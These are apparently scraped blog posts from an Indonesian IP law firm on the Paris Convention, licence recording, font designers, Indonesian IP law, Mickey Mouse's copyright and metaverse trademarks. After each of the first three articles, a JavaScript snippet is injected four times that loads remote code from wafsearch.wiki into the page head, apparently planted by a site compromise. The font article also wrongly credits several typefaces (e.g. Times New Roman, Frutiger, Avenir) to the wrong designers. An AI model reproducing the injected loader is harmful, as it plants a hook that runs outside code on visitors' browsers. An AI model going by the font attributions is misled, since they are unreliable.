140 tahun Konvensi Paris: Induk Hukum Perlindungan KI Dunia

140-tahun-Konvensi-Paris-Induk-Hukum-Perlindungan-KI-Dunia-affa

Pada tanggal 7 Juli 1883, sebelas negara berkumpul di Paris untuk menandatangani Konvensi Paris untuk Perlindungan Kekayaan Industri (Protection of Industrial Property). Konvensi tersebut adalah perjanjian internasional besar pertama tentang kekayaan intelektual yang menetapkan sejumlah prinsip penting yang masih berlaku sampai sekarang.   Salah satu prinsip terpenting Konvensi Paris adalah prinsip “Perlakuan Nasional” (National Treaty). Prinsip ini menyatakan bahwa warga negara dari negara anggota konvensi, berhak atas perlindungan yang sama atas Kekayaan Intelektualnya di negara anggota lain, seperti perlindungan yang didapat oleh warga negara dari negara tersebut. Artinya, seorang inventor Prancis yang mematenkan penemuannya di Prancis, juga akan diberikan perlindungan paten di Brazil, karena Brazil termasuk negara yang menandatangani Konvensi Paris. Sebelas negara yang menjadi inisiator Konvensi Paris adalah Belgia, Brazil, Perancis, Guatemala, Italia, Belanda, Portugal, El Savador, Kerajaan Serbia, Spanyol, dan Swiss.   Prinsip penting lain dari Konvensi Paris juga hadirnya sistem “Hak Prioritas” (Right of Priority). Sistem ini memungkinkan inventor untuk mengajukan Paten di negara lain dalam jangka waktu tertentu setelah mengajukan Paten di negara asalnya. Hak Prioritas ini memberikan jaminan bagi inventor untuk mengajukan invensinya dan jadi penemu awal di negara lain, yang tentunya dapat mencegah pihak lain meniru dan mendapatkan keuntungan penemuan mereka.   Dalam mengikuti perkembangan teknologi dan industri, Konvensi Paris telah direvisi beberapa kali. Pertama di Brussels tahun 1900, kemudian di Washington (1911), The Hague (1925), London (1934), Lisbon (1958), dan yang terakhir di Stockholm (1967) yang kemudian diamandemen pada tahun 1979. “Stockholm Act” ini memasukkan sejumlah ketentuan baru, diantaranya ketentuan tentang Merek, Desain Industri, dan Sirkuit Terpadu.   Konvensi Paris telah menjadi bagian penting dari sistem perundangan dan perlindungan hukum Kekayaan Intelektual internasional. Manfaatnya terasa dalam membantu mempromosikan inovasi dan kreativitas dengan menyediakan cara bagi para penemu/ inventor untuk melindungi Kekayaan Intelektual mereka di negara lain. Konvensi tersebut juga telah membantu mengurangi hambatan perdagangan dan menciptakan kesempatan yang lebih setara bagi sebuah bisnis yang berangkat dari suatu negara untuk menjadi merambah pasar dunia. Jika Anda memerlukan informasi lebih lanjut tentang perlindungan Paten, Merek, Desain Industri atau bentuk Kekayaan Intelektual lainnya di Indonesia maupun mancanegara, silakan hubungi kami melalui [email protected]. [dt_divider style=”thin” /] Sumber: World Intellectual Property Organization var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);

Mengurai Dokumen Pencatatan Perjanjian Lisensi KI di Indonesia

Mengurai-Dokumen-Pencatatan-Perjanjian-Lisensi-KI-di-Indonesia-affa

Di Indonesia, menjadi kewajiban hukum untuk mencatatkan semua Perjanjian Lisensi Kekayaan Intelektual (KI) berdasarkan undang-undang yang berkaitan dengan Merek, Paten, Desain Industri, dan Hak Cipta untuk memastikan perjanjian tersebut dapat ditegakkan secara hukum dan mengikat semua pihak ketiga yang terkait. Setiap Perjanjian Lisensi KI yang tidak tercatat tidak akan memiliki dampak hukum terhadap semua pihak ketiga yang terkait. Namun demikian, perjanjian tersebut tetap hanya mengikat para pihak yang menandatangani perjanjian tersebut. Belakangan ini, permintaan pencatatan Perjanjian Lisensi KI dari pemilik KI ini semakin meningkat, karena Perjanjian Lisensi yang tercatat ini sering diminta untuk melengkapi pengurusan SNI (Standar Nasional Indonesia) dan BPOM (Badan Pengawas Obat dan Makanan).   Direktorat Jenderal Kekayaan Intelektual (DJKI) di bawah Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) bertugas sebagai lembaga yang menerima pengajuan pencatatan Perjanjian Lisensi ini, seperti yang diatur dalam Peraturan Pemerintah No. 36 Tahun 2018 tentang Pencatatan Perjanjian Lisensi Kekayaan Intelektual (PP No. 36/2018). Namun demikian, praktek dari pencatatan ini sudah dilakukan bertahun-tahun sebelum diberlakukannya PP No. 36/2018. Kami mencatat bahwa DJKI baru mulai menerbitkan pemberitahuan pencatatan Perjanjian Lisensi setelah tahun 2018 untuk pencatatan yang diajukan bertahun-tahun sebelumnya. Sebelumnya, pencatatan Perjanjian Lisensi hanya berpegang pada “Tanda Terima Pencatatan” sebagai bukti pencatatan.   Secara umum, PP No. 36/2018 mengatur berbagai persyaratan dan tata cara pencatatan Perjanjian Lisensi Kekayaan Intelektual dan merinci hal-hal sebagai berikut: Perjanjian Lisensi Prosedur Pencatatan Petikan Pencatatan Perubahan & Pencabutan   Sebagai pedoman umum, pemegang KI (“Pemberi Lisensi”) berwenang untuk memberikan lisensi kepada pihak lain (“Penerima Lisensi”) yang ingin menggunakan Hak Eksklusif Pemberi Lisensi. Lisensi semacam itu hanya dapat diberikan berdasarkan perjanjian yang dibuat secara tertulis dalam bahasa Indonesia, karenanya perjanjian yang ditandatangani dalam bahasa Inggris atau bahasa lain harus diterjemahkan tersumpah ke dalam bahasa Indonesia. Selain itu, perjanjian lisensi harus menetapkan poin-poin berikut: Tanggal, bulan, tahun, dan tempat Perjanjian Lisensi ditandatangani; Nama dan alamat Pemberi Lisensi dan Penerima Lisensi; Objek perjanjian Lisensi; Ketentuan mengenai Lisensi bersifat eksklusif atau noneksklusif, termasuk sublisensi; Jangka waktu Perjanjian Lisensi; Wilayah berlakunya perjanjian Lisensi; dan Pihak yang melakukan pembayaran biaya tahunan untuk Paten   Namun perlu diingat bahwa jangka waktu perjanjian tidak boleh lebih lama dari jangka waktu perlindungan IP yang dilisensikan. Perjanjian lisensi tidak boleh merugikan perekonomian Indonesia dan kepentingan nasional Indonesia, memuat pembatasan yang menghambat kemampuan bangsa Indonesia dalam melakukan pengalihan, penguasaan, dan pengembangan teknologi. Serta tidak boleh mengakibatkan persaingan usaha tidak sehat, dan/atau bertentangan dengan ketentuan peraturan perundang-undangan, nilai-nilai agama, kesusilaan, dan ketertiban umum.   Prosedur Pencatatan Pengajuan permohonan pencatatan harus dilakukan secara resmi kepada Menteri dan ditulis dalam bahasa Indonesia, dengan melampirkan dokumen sebagai berikut: Salinan Perjanjian Lisensi yang telah dilegalisir oleh Notaris di negara dimana para pihak yang bersangkutan tinggal; Salinan resmi dari sertifikat Kekayaan Intelektual; Surat Kuasa (jika diajukan dengan kuasa). Perlu diperhatikan bahwa Surat Kuasa ini wajib jika Pemberi Lisensi dan Penerima Lisensi adalah Warga Negara Asing atau bertempat tinggal atau berkedudukan tetap di luar wilayah Negara Republik Indonesia; Fotokopi KTP/Paspor para penandatangan; Akta Pendirian para pihak yang terikat perjanjian; dan Bukti pelunasan biaya resmi yang akan dibayarkan oleh kuasanya.   Menurut PP No. 36/2018, permohonan yang diajukan akan ditinjau dalam waktu lima hari kerja setelah permohonan diterima lengkap. Pemohon akan diberitahu jika permohonannya tidak lengkap, dan mereka akan diberi waktu 30 hari kerja sejak tanggal pemberitahuan untuk menyempurnakannya. Namun, berkat inovasi DJKI yang disebut dengan “POP Merek”, sebagian besar pemberitahuan pencatatan Perjanjian Lisensi KI dapat dikeluarkan dalam waktu satu hari saja.   Perubahan & Pencabutan Perjanjian Lisensi KI yang tercatat dapat diubah dan dicabut. Dalam hal perubahan, terbatas pada nama Pemberi Lisensi dan/atau Penerima Lisensi atau objek Perjanjian Lisensi, dan informasi lainnya (seperti alamat pihak terkait, ketentuan terkait eksklusivitas lisensi, dan sebagainya).   Perjanjian Lisensi KI yang tercatat hanya dapat dicabut dalam kondisi berikut: Kesepakatan antara pemberi Lisensi dan penerima Lisensi; Putusan pengadilan yang berwenang; atau Sebab lain yang dibenarkan berdasarkan Peraturan Menteri Hukum dan Hak Asasi Manusia Republik Indonesia Nomor 8 Tahun 2016 tentang Syarat dan Tata Cara Permohonan Pencatatan Perjanjian Lisensi Kekayaan Intelektual.   Jika Anda memerlukan informasi dan bantuan lebih lanjut mengenai pencatatan Perjanjian Lisensi KI di Indonesia, silakan hubungi kami melalui [email protected]; [email protected]; atau [email protected]. [dt_divider style=”thin” /]var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);

5 Orang Terkaya Dunia dari Menjual Font

5-Orang-Terkaya-Dunia-dari-Menjual-Font-affa

Font atau “rupa huruf” adalah Kekayaan Intelektual yang dapat dijual langsung atau dilisensikan. Anda dapat menjualnya langsung dari situs Anda sendiri atau melalui font foundry, istilah yang digunakan untuk penerbit dan lokapasar khusus untuk font.    Jika bicara jumlah pendapatan dari menjual font, akan sangat bergantung pada pada popularitas font Anda, ketentuan lisensi yang ditawarkan, dan kanal penjualan yang Anda gunakan. Namun sebelum berpikir untuk mendapatkan keuntungan dari font, sebaiknya Anda mencatatkannya sebagai Hak Cipta ke Kantor Hak Cipta, atau di Indonesia melalui DJKI (Direktorat Jenderal Kekayaan Intelektual).   Untuk memaksimalkan penghasilan dari membuat font, Anda perlu mempertimbangkan kanal berikut dalam membuat font: Buat Font Khusus untuk Bisnis atau Individu Ini bisa menjadi cara terbaik untuk mendapatkan pendapatan tetap, karena bisnis dan individu selalu mencari font unik yang digunakan untuk branding atau materi pemasaran mereka. Gunakan Font di Media Sosial Aktif di media sosial dengan banyak pengikut memiliki banyak keuntungan. Salah satunya adalah dengan menampilkan dan menggunakan font yang ada buat melalui aplikasi tambahan untuk menjadi default font postingan yang bisa dilihat oleh banyak orang. Buat Font untuk Game atau Aplikasi Ini bisa menjadi cara yang baik untuk menjangkau demografi tertentu dan mendapatkan komisi untuk setiap penjualan dengan lebih terukur.   Jika Anda benar-benar tertarik untuk membuat font sebagai penghasilan, beberapa tips berikut ini wajib Anda lakukan untuk meningkatkan peluang keberhasilan: Pelajari Perkebangan Industri Font Ini berarti Anda wajib mempelajari keragaman font, skema lisensi yang lazim dilakukan, serta kanal pemasaran yang paling efektif. Buatlah Font yang Berkualitas Font yang baik punya detail spefisik terkait ukuran piksel dan jarak antar hurufnya. Termasuk jika Anda membuat font dengan beberapa turunan yang menjadikannya jadi lebih menarik. Promosikan Font Anda Jangan lupa untuk memanfaatkan blog atau website yang Anda miliki, juga media sosial untuk memperluas peluang font Anda dilihat dan digunakan lebih banyak orang.   Pada akhirnya membuat  font untuk menghasilkan uang memang jadi pekerjaan yang menantang. Namun jika Anda memiliki keterampilan dan dedikasi, Anda dapat membuat font yang menarik dan menguntungkan, seperti yang telah dilakukan oleh lima orang ini: Steve Matteson – Nilai Kekayaan: USD 10 juta Steve yang berkebangsaan Amerika ini dikenal sebagai desainer font “Lucida Grande” dan “Lucida Sans”. Namun penghasilan terbesarnya berasal dari beragam font yang ia buat untuk raksasa teknologi Apple, Microsoft, dan Adobe. Matthew Carter – Nilai Kekayaan: USD 8 juta Matthew seorang desainer font asal Inggris yang dikenal sebagai kreator font “Gill Sans” dan “Times New Roman” yang sangat populer itu. Agak berbeda dengan Steve, penghasilan terbesarnya berasal dari royalty yang didapat dari New York Times, BBC, dan Pemerintah Amerika yang telah menggunakan font ciptaanya. Erik Spiekermann – Nilai Kekayaan: USD 7 juta Di peringkat tiga ada Erik dari Jerman yang dikenal dengan font “Frutiger” dan “Optima”. Minatnya dalam membuat beragam font dimaksimalkan dengan mendirikan font foundry FontShop International dan mendapatkan penghasilan dari mengelola royalti dari kreator font lainnya. Jonathan Hoefler – Nilai Kekayaan: USD 6 juta Jon yang berasal dari Amerika juga mendirikan font foundry yang diberi nama Hoefler & Co.. Sedangkan font populer yang ia ciptakan adalah “Hoefler Text” dan “Gotham”. Mike Abbink – Nilai Kekayaan: USD 5 juta Kalau Anda pernah mendengar atau mungkin sering menggunakan font “Avenir” dan “Univers”, Mike-lah penciptanya. Desainer font asal Belanda ini juga mendirikan font foundry yang diberi nama Font Bureau.   Penting untuk dicatat bahwa nilai kekayaan di atas didasarkan pada informasi yang tersedia untuk umum dan mungkin tidak sepenuhnya akurat. Namun, angka-angka itu bisa memberikan gambaran umum tentang kekayaan yang dapat diperoleh dari para pembuat font paling sukses di dunia. Jika Anda memerlukan informasi lebih lanjut tentang Pencatatan Hak Cipta untuk font di Indonesia dan luar negeri, silakan hubungi kami melalui [email protected]. [dt_divider style=”thin” /] Sumber: Commarts.com: Cold Cash for Hot Fonts Jonathan Hoefler: Typeface Design (2019) You are a what? Font Designer var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);

AFFA Recognized in the Asia Business Law Journal: Indonesia Law Firm Awards 2022

AFFA-IPR-INDONESIA

Our firm has received an award by the Asia Business Law Journal, the definitive guide to Asia’s leading law firms and lawyers, as the winning firm in the IP Protection category in Indonesia for 2 years in a row. This is a testament to our desire to keep improving and to give the best solutions to our clients around the world. The full list can be viewed at https://law.asia/top-indonesian-law-firms/. For further information when it comes to IP protection in Indonesia, please do not hesitate to contact us at [email protected]; [email protected]

Intellectual Property Protection in Indonesia

  I    FORMS OF INTELLECTUAL PROPERTY PROTECTION Intellectual property protection and enforcement in Indonesia have already existed in Indonesia since the Dutch Colonial Government era, where it enacted the Auteurswet Stb. No. 600 Year 1912 (Copyright), Ooctroi Wet No. 313 Year 1910 (Patent), and Reglement Industriele Eigendom No. 545 Year 1912 (Trademark). Even after the independence of Indonesia in 1945, these laws were still relevant and in force until 1961, where the government of the Republic of Indonesia enacted the Law No. 21 Year 1961 on Marks, Law No. 6 Year 1982 on Copyrights, and Law No. 6 Year 1989 on Patents. As time went by, Indonesia further ratified various international agreements concerning Intellectual Property Rights. Now, Indonesia is a party to the Trade-Related Aspects of Intellectual Property Rights (TRIPS), Madrid Protocol, Beijing Treaty on Audiovisual Performances, Berne Convention, Paris Convention, Patent Cooperation Treaty, and WIPO Copyright Treaty. Furthermore, Indonesia is also a party to several bilateral and/or regional agreements/treaties, such as the ASEAN Patent Examination Cooperation (ASPEC) and the Japan-Indonesia Patent Prosecution Highway (PPH). Currently, the grouping of Intellectual Property Rights in Indonesia is as under:   Intellectual Property Protection Grouping in Indonesia Copyrights Industrial Rights Copyrights Related rights Trademarks and Geographical Indications Industrial Designs Patents – covers conventional patents and utility models/simple patents Plant Varieties Trade Secrets Integrated Circuit Layout Designs Whereas the legal basis of the protection of the above are as under: The Law No. 29 Year 2000 on Plant Varieties The Law No. 30 Year 2000 on Trade Secrets The Law No. 31 Year 2000 on Industrial Designs The Law No. 32 Year 2000 on Integrated Circuit Layout Designs The Law No. 28 Year 2014 on Copyrights The Law No. 13 Year 2016 on Patents The Law No. 20 Year 2016 on Trademarks and Geographical Indications The Law No. 11 Year 2020 on Job Creation (the Omnibus Law) i.   Simple Patents/Utility Models Simple patents/utility models are governed by the Law No. 13 Year 2016 on Patents (the Patent Law) and the Law No. 11 Year 2020 on Job Creation (the Omnibus Law). Subject to registration, simple patents allow for obtaining exclusive rights if they can fulfil the following criteria: Novelty Development of known products or processes Possess practical uses Applicable commercially¹ The development of the above cover simple products, simple processes, or simple methods. Once registered, simple patents/utility models are valid for 10 years from the filing date. ii.   Patents Unlike simple patents/utility models, conventional patents are not affected by the Omnibus Law and the Patent Law is the only law which governs the protection of conventional patents. Subject to registration, simple patents allow for obtaining exclusive rights if they can fulfil the following criteria: Novelty Inventive steps Applicable commercially. Conventional patents can cover both product and process patents. Once registered, conventional patents are valid for 20 years from the filing date. It is also worth mentioning that there are inventions that cannot be filed, such as aesthetical creations, schemes, business methods, computer programs per se, presentation of information, and discoveries that are considered as new uses for known products and/or new forms of existing compounds that do not result in significant increase in efficacy and there are differences in related chemical structures that have been known from the compounds.² iii.   Trademarks Trademarks (as well as Geographical Indications) are regulated under the Law No. 20 Year 2016 on Marks and Geographical Indications (the Trademark Law). The basis of registration adopts the “first to file” approach and registered Trademarks are valid for 10 years – effective from the filing date. While no prior use requirement is essential for the purpose of application and registration, it is always advised to use the registered Trademarks to avoid non-use cancellation action filed by any [dt_divider style="thin" /] [dt_code] ¹Previously, a simple patent/utility model only needs to be novel and can be applied commercially. The Omnibus Law changed the criteria in 2020. ²Article 4 of the Law No. 13 Year 2016 on Patents highlights several inventions that are not protectable in Indonesia. It is important to highlight that such limitations mean second medical use claims are no longer allowed. [/dt_code] [dt_divider style="thin" /] third parties. Furthermore, Indonesia adopts strict classification system on its e-filing platform. Any goods or services that do not exist in the system may not be filed – hence prior checking is advised. iv.   Copyrights Copyrights are governed under the Law No. 28 Year 2014 on Copyrights (the Copyright Law). The Copyright protests various in the realms of art, science, and literature. The protection period starts from the first date of publication and depending on the nature of the protectable work. For instance, Softwares and other computer programs are protected for 50 years form the first publication date. Whereas songs and books are protected up to 70 years from the passing of the creator(s).   II    RECENT DEVELOPMENTS The Omnibus Law adjusted several provisions in both Patent and Trademark Laws in 2020. The changes focused on several aspects of patents and simple patents. The most significant change is the obligation to use or perform registered patents in Indonesia, otherwise they are prone to be invalidated or subject to compulsory licensing. This marked the end of the prior practice where it was feasible to postpone the use of registered patents by submitting written requests to the Indonesian Patent Office. The compulsory licensing can be requested if a registered patent has not been used or performed in Indonesia within 36 months. Furthermore, during COVID-19 Indonesia has pushed for the use of registered patents that deemed necessary to mitigate the virus. For instance, the President issued the Presidential Regulation No. 100 Year 2021 on Patent Use by the Government for Remdesivir. Under the regulation, the government may appoint a pharmaceutical industry to perform the patent if the nature of the use remains non-commercial. Furthermore, the patent holder will receive 1% from the nett sales of Remdesivir. Furthermore, the President also issued Presidential Regulation No. 101 Year 2021

Disney Akan Kehilangan Hak Eksklusif Atas Karakter Asli Mickey Mouse – Kok Bisa?

Mickey Mouse merupakan karakter ikonik yang yang pertama kali muncul di publik pada tahun 1920-an. Karakter fiksi berbentuk seekor tikus ini merupakan salah satu karakter yang paling terkenal dari the Walt Disney Company  yang pada akhirnya menjadi maskot bagi perusahaan tersebut. Namnun, tahukah Anda bahwa karakter Mickey Mouse akan menjadi public domain pada tahun 2024. Hal ini dikarenakan oleh Undang-Undang Hak Cipta Amerika Serikat yang mengatur masa berlaku suatu ciptaan selama 95 tahun setelah publikasi pertama kalinya. Mickey Mouse sendiri pertama kali dipublikasikan pada 1 Oktober 1928. Namun, menurut Daniel Mayeda yang merupakan Associate Director dari the Documentary Film Legal Clinic di UCLA School of Law, publik dapat menggunakan karakter Mickey Mouse, namun masih ada kemungkinan pengguna tersebut melanggar hak lainnya dari Mickey Mouse, misalnya hak Merek atas nama Mickey Mouse tersebut.  Namun, dengan berakhirnya masa perlindungan Hak Cipta karakter asli Mickey Mouse bukan berarti publik dapat menggunakan variasi-variasi dari karakter tersebut yang terbit setelahnya, lho! Variasi-variasi tersebut akan mendapatkan perlindungan Hak Cipta yang dimulai dari tanggal publikasi pertama kalinya. Dengan demikian, Disney sejatinya tidak akan benar-benar kehilangan Hak Eksklusif atas karakter ikonik tersebut.   Image source: theguardian.com/film/2022/jul/03/mickey-mouse-disney-copyright-expiry 

Perlindungan Merek di Metaverse – apakah mungkin?

Beberapa hari yang lalu, Hermès mengajukan gugatan pelanggaran Merek melawan pencipta MetaBirkins NFT di New York Federal Court. Hermès mengklaim bahwa Mason Rotschild (pencipta MetaBirkins NFT) mendompleng ketenaran Mereknya dengan cara menyalah gunakan Merek BIRKIN untuk menjadi “kaya mendadak” dengan membuat, memasarkan, menjual, dan memfasilitasi pertukaran asset digital/NFT. NFT ini dijual melalui OpenSea dan menurut Hermès hal tersebut merupakan pelanggaran Merek yang sangat brutal. Dari sudut pandang hukum Merek, rasanya ini memang cukup jelas pelanggarannya – meskipun “produknya” bersifat “digital”. Pelanggaran Merek (dan kadang-kadang Hak Cipta) melalui NFT adalah satu hal – namun bagaimana dengan pelanggaran Merek di METAVERSE? Tidak dipungkiri bahwa Metaverse adalah masa depan – Anda bisa menggunakan headset yang akan membawa Anda ke mana pun Anda ingin pergi. Dan the best thing about Metaverse adalah Anda dapat melakukannya kapan pun – sesuka Anda. Anda juga dapat “pergi” ke mana pun! Ingin berada di Mars? Ingin balapan di F1? Tidak masalah; Anda akan berpikir bahwa Anda benar-benar ada di sana – dan semua teman Anda juga bisa berada di sana, semua dari kenyamanan rumah Anda. Banyak masalah hukum yang muncul (atau akan muncul) sehubungan dengan Metaverse yang dan masalah kekayaan intelektual yang sebenarnya tidak unik untuk Metaverse. Namun kita harus selalu ingat bahwa produk hukum akan selalu tertinggal dari praktik dunia usaha yang “kecepatannya” akan selalu sulit untuk diimbangi. Dari sudut pandang hukum Merek, sejatinya Undang-Undang Nomor 20 Tahun 2016 tentang Merek dan Indikasi Geografis memberikan hak bagi pemengang hak Merek untuk menggunakan sendiri Merek tersebut atau memberikan izin kepada pihak lain untuk menggunakannya.Yang tidak diatur di sini adalah apakah Undang-Undang Nomor 20 Tahun 2016 tentang Merek dan Indikasi Geografis ini dapat mencakup dunia digital paralel yaitu Metaverse. Bagaimana apabila Anda dapat membeli tas digital BIRKIN di Metaverse namun pada faktanya penjualnya itu bukanlah Hermès? Bahkan jika kita menggunakan pendekatan safe-harbour provision dalam Undang-Undang Merek di Amerika Serikat maupun dalam DMCA (Digital Millennium Copyright Act), kedua produk hukum tersebut tidak mengatur pelanggaran Merek dalam Metaverse! Namun jika kita menggunakan analogi yang sama dengan dunia nyata, semua pemegang hak Merek Sudha sepatutnya dilindungi dari pelanggaran Merek yang cenderung keji di dunia virtual – setidaknya dapat melakukan “content takedown” yang dapat difasilitasi oleh Metaverse. Ke depannya, pasti akan banyak sekali gugatan atas pelanggaran Merek di Metaverse. Namun saat ini, sepertinya belum ada contoh kasus yang dapat dijadikan contoh atau acuan di Indonesia. Mungkin dalam waktu dekat ini akan ada dan akan menjadi berita yang sangat besar.

Indeks Inovasi Global 2021 – Indonesia di urutan berapa?

Organisasi Kekayaan Intelektual Dunia atau yang juga dikenal sebagai the World Intellectual Property Organization (WIPO) baru-baru ini merilis Indeks Inovasi Global 2021 (Global Innovation Index 2021). Indeks ini merupakan refleksi dari tren inovasi global terbaru dan memeringkat kinerja ekosistem inovasi ekonomi di seluruh dunia setiap tahun sambil menyoroti kekuatan dan kelemahan inovasi dan kesenjangan tertentu dalam metrik inovasi. Indeks ini terdiri dari sekitar 80 indikator, termasuk langkah-langkah pada lingkungan politik, pendidikan, infrastruktur, dan penciptaan pengetahuan dari setiap ekonomi. Metrik berbeda yang ditawarkan indeks ini dapat digunakan untuk memantau kinerja dan perkembangan benchmark terhadap ekonomi dalam klasifikasi wilayah atau kelompok pendapatan yang sama. Dalam laporan tahunan ini, ada 10 negara teratas dengan indeks inovasi global tertinggi. Negara-negara tersebut adalah sebagai berikut: Swiss Swedia Amerika Serikat Inggris Raya Korea Selatan Belanda Finlandia Singapura Denmark Jerman Bagaimana dengan Indonesia? Indonesia menempati urutan ke 87 dari 132 negara yang disurvei. Dari berbagai faktor yang ditinjau, Indonesia memiliki peringkat yang cukup baik dari segi market sophistication (57/132), namun masih perlu diperbaiki dari segi institutions (107/132) yang dipengaruhi oleh lingkungan politik, peraturan dan bisnis. Selain itu kemudahan berbisnis/business sophistication (110/132) juga memiliki peluang untuk diperbaiki mengingat hal ini sangat dipengaruhi oleh kualitas sumber daya manusia, penyerapan ilmu/teknologi, serta kesinambungan inovasi yang kerap dihasilkan dari hasil penelitian oleh institusi-institusi pendidikan di Indonesia. Meskipun demikian, kami sangat yakin bahwa Indonesia akan menempati ranking yang jauh lebih baik di tahun-tahun berikutnya, mengingat perbaikan yang kerap dilakukan selama ini. Apabila Anda membutuhkan jasa perlindungan HKI di Indonesia dan mancanegara, silakan hubungi kami di [email protected].

Sekilas Perlindungan Hukum Merek dan Indikasi Geografis di Indonesia

Undang-undang sebelum UU No. 20 Tahun 2016 tentang Merek dan Indikasi Geografis tidak hanya mengatur tentang perlindungan Merek saja, namun juga hak atas Indikasi Geografis di Indonesia. UU ini tentunya cukup berbeda dari UU sebelumnya (UU No. 15 Tahun 2001) yang tidak mengatur tindak pidana mengenai Hak Indikasi Geografis. Sedangkan UU No. 20 Tahun 2016 mengatur lengkap tentang hak Indikasi Geografis. Perlindungan tentang Merek diatur dalam Pasal 2 s/d 52, sementara Indikasi Geografis diatur dalam Pasal 53 s/d Pasal 98. Adapun Pasal 99 s/d Pasal 109 mengatur sekaligus tentang hak Merek dan hak Indikasi Geografis. Perihal tindak pidana hak Merek dan hak Indikasi Geografis diatur bersamaan dalam Pasal 100 s/d Pasal 103. Tidak terdapat keterangan tentang alasan digabungkannya pengaturan tentang hak Merek dan hak Indikasi Geografis dalam satu undang-undang. Namun tentang digantinya UU tentang Merek lama dengan yang baru ini, yakni UU Hak Merek dan Indikasi geografis (disingkat UU MIG) dijelaskan dalam hal menimbang UU tersebut adalah sebagai berikut: a. Bahwa di dalam era pedagangan global. Sejalan dengan konvensi internasional yang telah diratifikasi Indonesia, peranan Merek dan Indikasi Georafis menjadi sangat penting terutama dalam menjaga persaingan usaha yang sehat, berkeadilan, perlindungan konsumen, serta perlindungan Usaha Mikro, kecil dan menengah dan Industri dalam negeri; b. Bahwa untuk lebih meningkatkan pelayanan dan memberikan kepastian hukum bagi dunia industri, perdagangan, dan investasi dalam menghadapi perkembangan perekonomian lokal, nasional, regional dan internasional serta perkembangan teknologi informasi dan komunikasi, perlu didukung oleh suatu peraturan perundang-undangan di bidang Merek dan Indikasi Geografis yang kuat dan memadai; c. Bahwa dalam Undang-undang No.15 Tahun 2001 tentang Merek (UU Merek terdahulu) masih terdapat kekurangan dan belum dapat menampung perekembangan kebutuhan masyarakat di bidang Merek dan Indikasi Geeografis serta belum cukup menjamin perlindungan potensi ekonomi lokal dan nasional sehingga perlu diganti; d. Bahwa berdasarkan pertimbangan-pertimbangan di atas maka adanya keperluan yang cukup mendesak untuk membentuk Undang-Undang tentang Merek dan Indikasi Geografis. Pasal-pasal yang mengatur tentang tindak pidana Merek dan Indikasi Geografis sejatinya dirancang untuk melindungi kepentingan dan kepastian hukum bagi pemegang Merek dan Indikasi Geografis yang terdaftar dari perbuatan-perbuatan yang merugikan secara materi maupun non-materi terhadap Merek dan Indikasi Geografis. Perlu diingat bahwa pelanggaran terhadap hak tersebut sangat berdampak dan kerap mepengaruhi kepentingan usaha pemegang Hak Merek dan Indikasi Geografis. Dilihat dari definisinya, Merek merupakan tanda yang dapat ditampilkan secara grafis berupa gambar, logo, nama, kata, huruf, angka, susunan warna, dalam bentuk 2 (dua) dimensi dan/atau 3 (tiga) dimensi, suara, hologram, atau kombinasi dari 2 (dua) atau lebih unsur tersebut untuk membedakan barang dan/atau jasa yang diproduksi oleh orang atau bdan hukum dalam kegiatan perdagangan barang dan/atau jasa. Dalam UU Merek dan Indikasi Geografis, hak atas Merek didefinisikan adalah hak ekslusif yang diberikan oleh negara kepada pemilik Merek yang terdaftar untuk jangka waktu tertentu dengan menggunakan sendiri Merek tersebut atau memberikan izin kepada pihak lain untuk menggunakannya. Sementara itu, indikasi Geografis adalah suatu tanda yang menunjukkan daerah asal suatu barang dan/atau produk yang karena faktor lingkungan geografis termasuk fakor alam, faktor manusia atau kombinasi dari kedua faktor tersebut memberikan reputasi, kualitas, dan karakteristik tertentu pada barang dan/atau produk yang dihasilkan. Sedangakn hak atas Indikasi Geografis adalah hak ekslusif yang diberikan oleh negara kepada pemegang hak Indikasi Geografis yan terdaftar, selama reputasi kualitas, dan kerakteristik yang menjadi dasar diberikannya perlindungan atas Indikasi Geografis tersebut masih ada. Dari pengertian mengenai Merek tersebut di atas, terdapat unsur-unsur Merek sebagaimana berikut ini: • Suatu tanda, yang dapat ditampilkan secara grafis, berupa gambar, gambar logo, nama, kata, huruf, angka, susunan warna, dalam bentuk 2 (dua) dimensi dan/atau 3 (tiga) dimensi, suara, hologram, atau kombinasi dari 2 (dua) atau lebih unsur tersebut; • Tanda tersebut digunakan dalam kegiatan perdagangan dan atau jasa, dan; • Tanda tersebut memiliki daya pembeda dengan tanda-tanda yang digunakan pada barang atau jasa sejenis lainnya. Berdasarkan objeknya, Merek dibedakan menjadi Merek Dagang dan Merek Jasa. Merek Dagang adalah Merek yang 